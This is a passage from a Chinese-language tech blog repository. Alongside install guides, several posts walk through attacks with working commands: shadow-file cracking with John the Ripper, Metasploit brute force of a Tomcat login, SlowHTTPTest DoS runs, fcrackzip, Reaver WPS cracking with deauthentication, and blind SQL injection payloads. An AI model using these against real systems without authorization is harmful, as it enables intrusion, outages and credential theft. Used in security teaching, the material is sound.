26 | # useradd -m test -G sudo -s /bin/bash 27 | {% endhighlight %} 28 | 29 | 设置test的密码: 30 | 31 | {% highlight shell %} 32 | # passwd test 33 | {% endhighlight %} 34 | 35 | ![Kali Linux]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-04 at 15.46.23.png) 36 | 37 | ## 使用unshadow命令组合/etc/passwd和/etc/shadow 38 | 39 | {% highlight shell %} 40 | # cd 41 | # unshadow /etc/passwd /etc/shadow > test_passwd 42 | {% endhighlight %} 43 | 44 | 你可以对比一下test_passwd和/etc/passwd、/etc/shadow文件,其实就是一种简单的组合。 45 | 46 | ## 使用John the Ripper破解Linux用户密码 47 | 48 | 我们还需要一个字典,John带了一个小小的字典,位于/usr/share/john/password.lst。当然,你可以使用自己的字典,或上网下载TB级的字典文件。 49 | 50 | 我使用自带的字典为例,破解命令: 51 | 52 | {% highlight shell %} 53 | # john --wordlist=/usr/share/john/password.lst test_passwd 54 | {% endhighlight %} 55 | 56 | ![Kali Linux]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-04 at 16.04.19.png) 57 | 58 | 从上图可以看到,john破解了test用户的密码。其实test_passwd文件中还有一个root用户,因为密码不在字典中,所以没有被破解。 59 | 60 | 查看破解信息: 61 | 62 | {% highlight shell %} 63 | john --show test_passwd 64 | {% endhighlight %} 65 | 66 | ![Kali Linux]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-04 at 16.09.35.png) 67 | 68 | *** 69 | 70 | 上面是关于John the Ripper最简单的使用。更多高级用法,像暴力破解,增量模式等等,请看文档: 71 | 72 | > -------------------------------------------------------------------------------- /_posts/2016-3-22-How-to-use-lynis-on-linux.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 安装使用lynis扫描Linux的安全漏洞 4 | --- 5 | 6 | **Lynis**是Linux平台上的一款安全漏洞扫描工具。它可以扫描系统的安全漏洞、收集系统信息、安装的软件信息、配置问题、没有设置密码的用户和防火墙等等。 7 | 8 | Lynis是流行可靠的安全扫描工具。 9 | 10 | 前不久,Lynis更新了版本,Lynis发布了2.2.0。在这个版本上增加了新的特性和一些小的功能提升。我建议使用Lynis的最新版本2.2.0。 11 | 12 | 下面我在Ubuntu上安装Lynis 2.2.0。 13 | 14 | ### 安装Lynis 15 | 16 | Lynis可以安装在系统中的任意目录,创建一个目录`/opt/lynis`: 17 | 18 | {% highlight shell %} 19 | $ sudo mkdir /opt/lynis 20 | {% endhighlight %} 21 | 22 | 使用wget下载Lynis: 23 | 24 | {% highlight shell %} 25 | $ cd /opt/lynis 26 | $ sudo wget https://cisofy.com/files/lynis-2.2.0.tar.gz 27 | {% endhighlight %} 28 | 29 | 解压下载的tar包: 30 | 31 | {% highlight shell %} 32 | $ sudo tar -xvf lynis-2.2.0.tar.gz 33 | {% endhighlight %} 34 | 35 | ### 使用Lynis 36 | 37 | 运行lynis需要root权限,执行: 38 | 39 | {% highlight shell %} 40 | $ cd lynis 41 | $ sudo ./lynis 42 | {% endhighlight %} 43 | 44 | 不给指定参数,它会列出可用的参数,如下图: 45 | 46 | ![lynis]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-22 at 10.31.44.png) 47 | 48 | 为了执行Lynis,你可以指定`--check-all`开始扫描整个Linux系统。命令如下: 49 | 50 | {% highlight shell %} 51 | $ sudo ./lynis --check-all 52 | {% endhighlight %} 53 | 54 | 键入回车开始扫描系统: 55 | 56 | ![lynis scan]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-22 at 10.45.38.png) 57 | 58 | ![lynis scan]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-22 at 10.48.18.png) 59 | 60 | 执行上面命令总需要输入回车才能往下执行,你可以使用-c和-Q选项跳过用户输入: 61 | 62 | {% highlight shell %} 63 | $ sudo ./lynis -c -Q 64 | {% endhighlight %} 65 | 66 | ### 创建Lynis计划任务-cron job 67 | 68 | 如果你想为你的系统创建一个日扫描报告,你可以设置cron: 69 | 70 | {% highlight shell %} 71 | $ crontab -e 72 | {% endhighlight %} 73 | 74 | 添加cron任务: 75 | 76 | {% highlight shell %} 77 | 30 22 * * * root /opt/lynis -c -Q --auditor "automated" --cronjob 78 | {% endhighlight %} 79 | 80 | 上面任务每天晚上10:30会执行扫描,并把输出的信息保存到`/var/log/lynis.log`日志文件中。 -------------------------------------------------------------------------------- /_posts/2016-3-23-nodejs-intro-newbe.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Linux:源码安装nodejs 4 | --- 5 | 6 | [Node.js](http://en.wikipedia.org/wiki/Nodejs)是服务端的JavaScript。这个东西最近很流行。如果你有JavaScript语言基础,并且厌倦了前端开发,你可以学习使用Nodejs开发服务器后端程序。假设你有JavaScript编程基础。 7 | 8 | ![jpeg pic]({{ site.baseurl }}/images/2016/3/node-js.jpg) 9 | 10 | **JavaScript是怎么在服务端运行的呢?** 11 | 12 | Node.js运行在Chrome v8环境上,v8是JavaScript引擎,可以运行JavaScript代码。 13 | 14 | **安装Node.js** 15 | 16 | Node的开发环境:建议使用Linux。我使用的系统为Ubuntu,下面我从源码安装Node。 17 | 18 | 安装基本开发环境: 19 | 20 | {% highlight shell %} 21 | $ sudo apt-get install build-essential 22 | {% endhighlight %} 23 | 24 | 使用git clone nodejs源码: 25 | 26 | {% highlight shell %} 27 | $ cd 28 | $ git clone https://github.com/nodejs/node 29 | {% endhighlight %} 30 | 31 | checkout最新分支,我安装时,最新版本是v4.4.1: 32 | 33 | {% highlight shell %} 34 | $ cd node 35 | $ git checkout v4.4.1 36 | {% endhighlight %} 37 | 38 | 创建一个nodejs安装目录: 39 | 40 | {% highlight shell %} 41 | $ mkdir ~/my_local 42 | {% endhighlight %} 43 | 44 | 编译配置nodejs: 45 | 46 | {% highlight shell %} 47 | $ ./configure --prefix=$HOME/my_local/node 48 | {% endhighlight %} 49 | 50 | 编译nodejs: 51 | 52 | {% highlight shell %} 53 | $ make 54 | {% endhighlight %} 55 | 56 | 安装nodejs: 57 | 58 | {% highlight shell %} 59 | $ make install 60 | {% endhighlight %} 61 | 62 | 配置环境变量: 63 | 64 | {% highlight shell %} 65 | echo 'export PATH=$HOME/my_local/node/bin:$PATH' >> ~/.profile 66 | echo 'export NODE_PATH=$HOME/my_local/node:$HOME/my_local/node/lib/node_modules' >> ~/.profile 67 | source ~/.profile 68 | {% endhighlight %} 69 | 70 | **测试nodejs** 71 | 72 | 使用经典的 **Hello World** 检测Nodejs是否成功安装。创建一个文件 _hello.js_,内容如下: 73 | 74 | {% highlight javascript %} 75 | console.log("Hello World!") 76 | {% endhighlight %} 77 | 78 | `console.log` 语句相当于python中的print。执行结果: 79 | 80 | ![nodejs]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-23 at 19.30.18.png) -------------------------------------------------------------------------------- /images/social.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /_posts/2016-5-14-crack-tomcat-password-use-metasploit.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用Metasploit破解Tomcat密码 4 | --- 5 | 6 | Apache Tomcat是Java web应用使用最广的服务程序,而且很多Tomcat服务都使用默认配置。本帖利用暴露的Tomcat web管理器破解密码,web管理器允许Tomcat管理员启动、停止、重启应用。 7 | 8 | * [Ubuntu 16.04安装Tomcat 8](http://blog.topspeedsnail.com/archives/4551) 9 | 10 | ### 下面我使用Metasploit暴力破解Tomcat管理员密码。 11 | 12 | 在启动Metasploit之前,先启动postgresql数据库服务: 13 | 14 | {% highlight shell %} 15 | # service postgresql start 16 | {% endhighlight %} 17 | 18 | 启动Metasploit控制台: 19 | 20 | {% highlight shell %} 21 | # msfconsole 22 | {% endhighlight %} 23 | 24 | 加载tomcat_mgr_login模块: 25 | 26 | {% highlight shell %} 27 | > use auxiliary/scanner/http/tomcat_mgr_login 28 | {% endhighlight %} 29 | 30 | 显示选项: 31 | 32 | {% highlight shell %} 33 | > show options 34 | {% endhighlight %} 35 | 36 | ![使用Metasploit破解Tomcat密码]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-15 18-41-32.png) 37 | 38 | 设置目标主机: 39 | 40 | {% highlight shell %} 41 | > set rhosts 192.168.0.103 42 | {% endhighlight %} 43 | 44 | 为了提高破解速度可以启动多个线程,但是不要太多: 45 | 46 | {% highlight shell %} 47 | > set threads 3 48 | {% endhighlight %} 49 | 50 | 为了防止服务器负载过高,限制请求速度: 51 | 52 | {% highlight shell %} 53 | > set bruteforce_speed 3 54 | {% endhighlight %} 55 | 56 | 开始破解破解: 57 | 58 | {% highlight shell %} 59 | > run 60 | {% endhighlight %} 61 | 62 | 输出尝试登录信息,带+的是正确密码 63 | 64 | ![使用Metasploit破解Tomcat密码]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-15 18-53-30.png) 65 | 66 | 如果要想在找到正确密码之后停止,设置 set STOP_ON_SUCCESS true。 67 | 68 | *** 69 | 70 | 更多选项: 71 | 72 | * BLANK_PASSWORDS:测试空密码 73 | * PASSWORD:测试指定密码 74 | * PASS_FILE:字典文件 75 | * Proxies:代理,隐藏自己 76 | * RHOSTS:Tomcat主机,也可以是文件 77 | * RPORT:Tomcat使用的端口 78 | * STOP_ON_SUCCESS:找到密码之后停止 79 | * USER_FILE:用户名文件 80 | * USER_PASS_FILE:用户:密码组合文件 81 | 82 | ***** 83 | 84 | 也可以使用Hydra破解Tomcat密码,使用http-head选项,-L指定用户名文件,-P指定密码文件; 85 | 86 | * [使用Hydra通过ssh破解密码](http://topspeedsnail.com/kydra-crack-ssh-and-avoid-attack/) -------------------------------------------------------------------------------- /_posts/2016-5-28-SlowHTTPTest-dos-attack.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: SlowHTTPTest-慢速DoS攻击 4 | --- 5 | 6 | Slowhttptest是一个依赖于实际HTTP协议的Slow HTTP DoS攻击工具,它的设计原理是要求服务器所有请求被完全接收后再进行处理。 7 | 8 | SlowHTTPTest是一款对服务器进行慢攻击的测试软件,所谓的慢攻击就是相对于cc或者DDoS的快而言的,并不是只有量大速度快才能把服务器搞挂,使用慢攻击有时候也能到达同一效果。slowhttptest包含了之前几种慢攻击的攻击方式,包括slowloris, Slow HTTP POST, Slow Read attack等。那么这些慢攻击工具的原理就是想办法让服务器等待,当服务器在保持连接等待时,自然就消耗了资源。 9 | 10 | Slowhttptest的源码托管在Github: 11 | 12 | ## 在Kali Linux上安装SlowHTTPTest 13 | 14 | {% highlight shell %} 15 | # apt-get install slowhttptest 16 | {% endhighlight %} 17 | 18 | 如果你使用其他linux发行版,可以从源码编译安装: 19 | 20 | {% highlight shell %} 21 | $ ./configure 22 | $ make 23 | $ sudo make install 24 | {% endhighlight %} 25 | 26 | ## 使用示例 27 | 28 | man手册: 29 | 30 | {% highlight shell %} 31 | # man slowhttptest 32 | {% endhighlight %} 33 | 34 | 帮助信息中提供了很多使用示例。 35 | 36 | ### slowloris模式: 37 | 38 | {% highlight shell %} 39 | # slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u https://yourtarget.com/index.html -x 24 -p 3 40 | {% endhighlight %} 41 | 42 | ![SlowHTTPTest: 慢速DoS攻击]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-28 at 18.18.13.png) 43 | 44 | 生成图表(CSV和html格式): 45 | 46 | {% highlight shell %} 47 | # slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://yourtarget.com/index.html -x 24 -p 3 48 | {% endhighlight %} 49 | 50 | ### Slow Read模式: 51 | 52 | {% highlight shell %} 53 | # slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://yourtarget.com -p 5 -l 350 -e x.x.x.x:8080 54 | {% endhighlight %} 55 | 56 | x.x.x.x:8080是HTTP代理 57 | 58 | ***** 59 | 60 | ### 实际测试 61 | 62 | Slow Body攻击: 63 | 64 | {% highlight shell %} 65 | # slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://www.mywebsite.com -x 10 -p 3 66 | {% endhighlight %} 67 | 68 | 攻击开始,服务器端在几秒内的变化: 69 | 70 | ![SlowHTTPTest: 慢速DoS攻击]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-28 at 18.29.22.png) -------------------------------------------------------------------------------- /_posts/2016-5-6-fcrackzip-crack-zip-password.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用fcrackzip破解zip保护密码 4 | --- 5 | 6 | zip是一种非常流行的压缩格式,并且它提供了一个密码保护的功能 - 只有输入正确的密码才能解压。 7 | 8 | 本帖介绍一个叫fcrackzip的工具,使用它就可以破解zip密码。 9 | 10 | ![fcrackzip破解zip密码]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-08 at 13.41.14.png) 11 | 12 | Kali Linux默认安装了这个工具,如果你使用的是其它Linux发行版。例如Ubuntu,执行安装命令: 13 | 14 | {% highlight shell %} 15 | $ sudo apt-get install fcrackzip 16 | {% endhighlight %} 17 | 18 | 注:由于这个工具使用的是暴力破解方式,对弱密码非常有效;如果遇到强密码,这个工具恐怕无能为力。 19 | 20 | ## 创建一个测试用的zip压缩文件 21 | 22 | {% highlight shell %} 23 | # vim test.txt 随便写入内容,一定要写 24 | # zip --password 12345 crack_this.zip test.txt 25 | {% endhighlight %} 26 | 27 | 上面命令把test.txt文件压缩为crack_this.zip,并且设置密码12345。 28 | 29 | 如果试图解压则需要输入密码: 30 | 31 | ![fcrackzip破解zip密码]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-08 at 13.50.17.png) 32 | 33 | ## 破解 34 | 35 | ### 使用穷举法: 36 | 37 | {% highlight shell %} 38 | # fcrackzip -b -c 'aA1!' -l 1-10 -u crack_this.zip 39 | {% endhighlight %} 40 | 41 | -b代表brute-force;-l限制密码长度;-c指定使用的字符集: 42 | 43 | ![fcrackzip破解zip密码]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-08 at 13.56.05.png) 44 | 45 | 由于我知道zip的密码是数字,所以我可以执行(加快破解速度): 46 | 47 | {% highlight shell %} 48 | # fcrackzip -b -c '1' -l 1-10 -u crack_this.zip 49 | {% endhighlight %} 50 | 51 | ![fcrackzip破解zip密码]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-08 at 14.03.10.png) 52 | 53 | ### 使用字典: 54 | 55 | 下面以Kali Linux自带的rockyou字典为例,你可以去网上下载GB级的大字典。 56 | 57 | 使用前先解压: 58 | 59 | {% highlight shell %} 60 | # gzip -d /usr/share/wordlists/rockyou.txt.gz 61 | {% endhighlight %} 62 | 63 | 使用字典破解: 64 | 65 | {% highlight shell %} 66 | # fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u crack_this.zip 67 | {% endhighlight %} 68 | 69 | ![fcrackzip破解zip密码]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-08 at 14.16.53.png) 70 | 71 | **** 72 | 73 | 关于fcrackzip的更多信息请看man手册: 74 | 75 | {% highlight shell %} 76 | # man fcrackzip 77 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-3-22-python-code-style-guide.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: pep8:Python代码风格检查工具 4 | --- 5 | 6 | Python官网定义的代码风格 [PEP 0008 -- Style Guide for Python Code](https://www.python.org/dev/peps/pep-0008/)。 7 | 8 | pep8是检测编码风格是否符合 **_PEP 0008_** 的工具。 9 | 10 | **安装pep8:** 11 | 12 | {% highlight shell %} 13 | pip install pep8 14 | {% endhighlight %} 15 | 16 | **升级pep8:** 17 | 18 | {% highlight shell %} 19 | pip install --upgrade pep8 20 | {% endhighlight %} 21 | 22 | **卸载pep8:** 23 | 24 | {% highlight shell %} 25 | pip uninstall pep8 26 | {% endhighlight %} 27 | 28 | ******* 29 | 30 | 如果使用的是Ubuntu,还可以使用从apt仓库中安装: 31 | 32 | {% highlight shell %} 33 | $ sudo apt-get install pep8 34 | {% endhighlight %} 35 | 36 | ###使用示例 37 | 38 | 故意写几行不符合Python编码风格的代码(test.py): 39 | 40 | {% highlight python %} 41 | import sys, os 42 | from subprocess import Popen, PIPE 43 | 44 | def long_function_name( 45 | var_one, var_two, var_three, 46 | var_four): 47 | print(var_one) 48 | {% endhighlight %} 49 | 50 | 检查是否符合编码规范: 51 | 52 | {% highlight shell %} 53 | $ pep8 --first test.py 54 | test.py:1:11: E401 multiple imports on one line 55 | test.py:4:1: E302 expected 2 blank lines, found 1 56 | test.py:6:5: E125 continuation line with same indent as next logical line 57 | {% endhighlight %} 58 | 59 | 1、4、6行代码不符合规范 60 | 61 | 你还可以输出不符合规范的代码和原因: 62 | 63 | {% highlight shell %} 64 | $ pep8 --show-source --show-pep8 test.py 65 | {% endhighlight %} 66 | 67 | ![pep8]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-22 at 18.41.49.png) 68 | 69 | 更多选项,查看帮助信息: 70 | 71 | {% highlight shell %} 72 | $ pep8 -h 73 | {% endhighlight %} 74 | 75 | ******** 76 | 77 | 使用代码测试(CodeStyle.py): 78 | 79 | {% highlight python %} 80 | import pep8 81 | 82 | python_code_style_checker = pep8.Checker('test.py', show_source=True) 83 | file_errors = python_code_style_checker.check_all() 84 | print("Found %s errors (and warnings)" % file_errors) 85 | {% endhighlight %} 86 | 87 | ![pep8 code style]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-22 at 18.49.03.png) -------------------------------------------------------------------------------- /_posts/2016-4-3-ubuntu16-install-java-jdk.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Ubuntu 16.04安装Java JDK 4 | --- 5 | 6 | Java JDK有两个版本,一个开源版本Openjdk,还有一个oracle官方版本jdk。下面记录在Ubuntu 16.04上安装Java JDK的步骤。 7 | 8 | ### 安装openjdk 9 | 10 | 更新软件包列表: 11 | 12 | {% highlight shell %} 13 | $ sudo apt-get update 14 | {% endhighlight %} 15 | 16 | 安装openjdk-8-jdk: 17 | 18 | {% highlight shell %} 19 | $ sudo apt-get install openjdk-8-jdk 20 | {% endhighlight %} 21 | 22 | 查看java版本: 23 | 24 | {% highlight shell %} 25 | $ java -version 26 | {% endhighlight %} 27 | 28 | ![java Ubuntu 16.04]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-03 at 18.47.24.png) 29 | 30 | ### 安装oracle Java JDK 31 | 32 | 首先,安装依赖包: 33 | 34 | {% highlight shell %} 35 | $ sudo apt-get install python-software-properties 36 | {% endhighlight %} 37 | 38 | 添加仓库源: 39 | 40 | {% highlight shell %} 41 | $ sudo add-apt-repository ppa:webupd8team/java 42 | {% endhighlight %} 43 | 44 | 更新软件包列表: 45 | 46 | {% highlight shell %} 47 | $ sudo apt-get update 48 | {% endhighlight %} 49 | 50 | 安装java JDK: 51 | 52 | {% highlight shell %} 53 | $ sudo apt-get install oracle-java8-installer 54 | {% endhighlight %} 55 | 56 | 安装过程中需要接受协议: 57 | 58 | ![java Ubuntu 16.04]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-03 at 18.52.11.png) 59 | 60 | 查看java版本: 61 | 62 | {% highlight shell %} 63 | $ java -version 64 | {% endhighlight %} 65 | 66 | ![java Ubuntu 16.04]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-03 at 20.50.46.png) 67 | 68 | ***** 69 | 70 | 如果你同时安装了以上两个版本,你可以自由的在这两个版本之间切换。执行: 71 | 72 | {% highlight shell %} 73 | $ sudo update-alternatives --config java 74 | {% endhighlight %} 75 | 76 | ![java Ubuntu 16.04]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-03 at 20.54.50.png) 77 | 78 | 前面带星号的是当前正在使用的java版本,键入编号选择使用哪个版本。 79 | 80 | 编辑/etc/profile,在文件尾添加java环境变量: 81 | 82 | {% highlight shell %} 83 | $ sudo vim /etc/profile 84 | {% endhighlight %} 85 | 86 | ``` 87 | # 如果使用oracle java 88 | export JAVA_HOME="/usr/lib/jvm/java-8-oracle/jre/bin" 89 | 90 | # 如果使用openjdk 91 | export JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64/jre/bin" 92 | ``` 93 | 94 | OK,在Ubuntu 16.04上安装java完成。 -------------------------------------------------------------------------------- /_posts/2016-4-14-hack-blind-sql-injection-attack.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 盲SQL注入攻击 4 | --- 5 | 6 | 盲SQL注入攻击(blind SQL injection attack)是[SQL注入攻击](http://topspeedsnail.com/hack-sql-injection-attack/)的一种类型,这种攻击方式是问数据库"真假"问题,然后根据数据库的回应判断答案-应用程序输出的错误信息。 7 | 8 | 盲SQL注入和SQL注入的不同是从数据库中获得数据的方式,当数据库不向网页上输出数据时,攻击者通过问数据库一系列的"真假"问题获得敏感数据。 9 | 10 | ### 基于内容 11 | 12 | 假设有一个根据ID号显示文章的简单网页,攻击者可以执行几个简单的测试来判断这个页面是否可以执行SLQ注入攻击。 13 | 14 | 示例网页: 15 | 16 | ``` 17 | http://blogspot.com/article.php?id=10 18 | ``` 19 | 20 | 发送到数据库的查询: 21 | 22 | {% highlight sql %} 23 | SELECT title, dateTime, content FROM article WHERE ID=10 24 | {% endhighlight %} 25 | 26 | 攻击者注入返回"假"的SQL查询: 27 | 28 | ``` 29 | http://blogspot.com/article.php?id=10 and 1=2 30 | ``` 31 | 32 | SQL查询语句变为: 33 | 34 | {% highlight sql %} 35 | SELECT title, dateTime, content FROM article WHERE ID=10 and 1=2 36 | {% endhighlight %} 37 | 38 | 如果web应用容易受到SQL注入攻击,那么它可能不会返回任何东西。为了确认,攻击者再次注入返回"真"的SQL查询: 39 | 40 | ``` 41 | http://blogspot.com/article.php?id=10 and 1=1 42 | ``` 43 | 44 | 如果真假两次查询返回的数据内容不一样,攻击者就可以判断什么时候SQL语句返回ture/false。一旦把这一点确认之后,攻击者就可以根据不同SQL语句执行不同的任务。 45 | 46 | ### 基于时间 47 | 48 | 这种攻击方式依赖数据库响应时间。根据返回结果的时间长短可以判断出SQL语句是否成功执行。 49 | 50 | 以MySQL为例: 51 | 52 | 条件判断语句: 53 | 54 | {% highlight sql %} 55 | SELECT IF(expression, true, false) 56 | {% endhighlight %} 57 | 58 | 如果expression表达式为真,执行一些延时操作,如,BENCHMARK(): 59 | 60 | ``` 61 | BENCHMARK(5000000,ENCODE('MSG', 'by 5 sec')) 62 | ``` 63 | 64 | 执行ENCODE函数5000000次,影响了查询响应时间。 65 | 66 | 组合起来: 67 | 68 | {% highlight sql %} 69 | UNION SELECT IF(SUBSTRING(passwd,1,1)='a', BENCHMARK(5000000,ENCODE('MSG', 'by 5 sec')), null) FROM users WHERE id=1; 70 | {% endhighlight %} 71 | 72 | 如果数据库响应时间变长,也许id==1的的用户密码第一个字符为'a': 73 | 74 | 使用这种方法依次探测其余的密码字符。 75 | 76 | 这个方法和上面的不同,它不影响数据库返回的数据。 77 | 78 | 很显然,上面我们使用了已知的字段名,其实,这些字段名有可能猜出来,也可以慢慢尝试(查看错误信息)。 79 | 80 | 手动执行上面的攻击是很费时的,幸运的是有很多现成的自动化工具,有一个工具叫[SQLMap](sqlmap.org): 81 | 82 | ![sqlmap]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-14 12-24-45.png) 83 | 84 | ![sqlmap]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-14 12-37-19.png) 85 | 86 | [黑客常用攻击方式汇总](http://topspeedsnail.com/hacker-attack-method/) -------------------------------------------------------------------------------- /_posts/2016-4-22-kali-linux-crack-wifi-password-wps.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用Reaver破解开启了WPS功能的wifi密码(wpa/wpa2) 4 | --- 5 | 6 | 来自wikipeida: 7 | 8 | > Wi-Fi保护设置(简称WPS,全称Wi-Fi Protected Setup)是一个无线网络安全标准,旨在让家庭用户使用无线网络时简化加密步骤。此标准由Wi-Fi联盟(Wi-Fi Alliance)于2006年制定。 9 | > 10 | > 在2011年12月28日安全专家Stefan Viehbock报出此标准的一个重大安全漏洞,此漏洞允许远程攻击者使用暴力攻击在几小时内就能获取WPS的PIN码和WPA/WPA2的PSK码。一些新出产的无线路默认启动WPS功能,所以现在建议用户关闭无线路由器上的WPS一键加密功能,虽然有些无线器上无法关闭此功能。 11 | 12 | WPS的目的是简化用户输入密码的步骤;在某个设备连接wifi,需要输入密码时,只要按一下无线路由器上的wps按钮就可以了。 13 | 14 | Reaver是除字典破解之外的另一个选择: 15 | 16 | * [Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)](http://topspeedsnail.com/kali-linux-crack-wifi-wpa/) 17 | 18 | 如果无线路由器开启了WPS,就不必使用上面的破解方法了。 19 | 20 | WPS的pin码并没有加密。Reaver会暴力破解pin码,找到pin码也就找到了密码。一般用时也不短。 21 | 22 | 注意: 23 | 24 | * 网卡支持数据包注入,一般笔记本不支持 25 | * 要求无线信号强 26 | * 如果发送pin码过快,有可能造成路由器崩溃;就类似对服务器的DDOS攻击。 27 | * Reaver有很多选项,我只使用最基本的选项,你也许需要根据情况使用其他选项。查看帮助:reaver ? 28 | 29 | 执行[Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)](http://topspeedsnail.com/kali-linux-crack-wifi-wpa/)中的前三步,打开无线网卡的的监控模式。 30 | 31 | ### 3)找到开启WPS功能的无线路由器 32 | 33 | 我们不用逐一测试,而是使用wash命令。 34 | 35 | {% highlight shell %} 36 | # wash -i wlan0mon -C 37 | {% endhighlight %} 38 | 39 | 如果什么也没有表示周围没有开启WPS的无线路由器。记住要破解wifi的BSSID。 40 | 41 | ### 4)开始破解密码 42 | 43 | {% highlight shell %} 44 | # reaver -i wlan0mon -b C8:3A:35:30:3E:C8 -vv -a 45 | {% endhighlight %} 46 | 47 | 等待2-10小时: 48 | 49 | 最后,不要忘了结束无线网卡的监控模式: 50 | 51 | {% highlight shell %} 52 | # airmon-ng stop wlan0mon 53 | {% endhighlight %} 54 | 55 | *** 56 | 57 | 总结:wps这个功能不用就把它关闭了吧。 58 | 59 | *** 60 | 61 | 一个小实验: 62 | 63 | 我看到有人说隐藏SSID可以让wifi更不容易被破解,我就来测试一下。 64 | 65 | > 隐藏SSID就是把你老大的AP隐藏起来,不让别人搜索到。请注意,这样的话,在连接wifi时就要手动输入AP名。 66 | 67 | ![破解wifi密码]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-22 15-45-17.png) 68 | 69 | 只看到了 length 12,没有ap名。 70 | 71 | 查看方法: 72 | 73 | {% highlight shell %} 74 | # airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 wlan0mon 75 | {% endhighlight %} 76 | 77 | {% highlight shell %} 78 | # aireplay-ng -0 30 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon 79 | {% endhighlight %} 80 | 81 | 破解密码的方法不变;使用上面两个命令就可以轻松得到ap名。 82 | 83 | 事实证明,隐藏SSID并不管啥事;其实设置一个复杂的密码比隐藏SSID要管用的多。 -------------------------------------------------------------------------------- /_posts/2016-4-13-hack-sql-injection-attack.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: SQL注入攻击 4 | --- 5 | 6 | SQL注入攻击(SQL injection attack)是攻击者把SQL语句插入到应用程序的输入数据中,或web表单的输入域,总之就是欺骗服务器执行恶意SQL语句。 7 | 8 | SQL注入攻击是黑客对数据库进行攻击的常用手段之一。一次成功的SQL注入,允许你读取数据库中的敏感数据、修改数据库、执行数据库的管理员操作等。 9 | 10 | SQL注入是数据库驱动型网站所面临的普遍问题,SQL注入漏洞常见于PHP和ASP应用: 11 | 12 | * 输入不信任的数据 13 | * SQL语句是动态构建的 14 | 15 | ### 示例1 16 | 17 | 假设有一个SQL查询: 18 | 19 | {% highlight sql %} 20 | SELECT id, name, nickname FROM users 21 | {% endhighlight %} 22 | 23 | 如果有人提供如下信息: 24 | 25 | ``` 26 | name:evil'man 27 | nickname:test 28 | ``` 29 | 30 | 查询语句应为: 31 | 32 | {% highlight sql %} 33 | SELECT id, name, nickname FROM users WHERE name = 'evil'man' AND nickname = test 34 | {% endhighlight %} 35 | 36 | 执行时会报错: 37 | 38 | ``` 39 | Incorrect syntax near il' as the database tried to execute evil. 40 | ``` 41 | 42 | 在构建SQL语句要小心,下面是安全的Java代码: 43 | 44 | {% highlight java %} 45 | String name = req.getParameter('name'); 46 | String nickname = req.getParameter('nickname'); 47 | 48 | String sqlQuery = "SELECT id, name, nickname FROM users WHERE name = ? AND nickname = ?"; 49 | PreparedStatement pstmt = connection.prepareStatement(sqlQuery); 50 | pstmt.setString(1, name); 51 | pstmt.setString(2, nickname); 52 | {% endhighlight %} 53 | 54 | ### 示例2 55 | 56 | 下面是一段C#代码,它动态构造一个SQL查询语句: 57 | 58 | {% highlight c# %} 59 | string username = ... 60 | string item = ... 61 | 62 | string sqlQuery = "SELECT * FROM items WHERE username = "'" + username + "' AND itemname = '" + item + "'"; 63 | {% endhighlight %} 64 | 65 | 想要执行的查询语句如下: 66 | 67 | ``` 68 | SELECT * FROM items 69 | WHERE username = 70 | AND itemname = 71 | ``` 72 | 73 | 上面的语句只有在itemname中没有单引号时正确。如果在查询语句后添加`OR 1=1`,where限制条件将失效: 74 | 75 | ``` 76 | SELECT * FROM items 77 | WHERE username = 'usr' 78 | AND itemname = 'item' OR 1=1 79 | ``` 80 | 81 | 等同于: 82 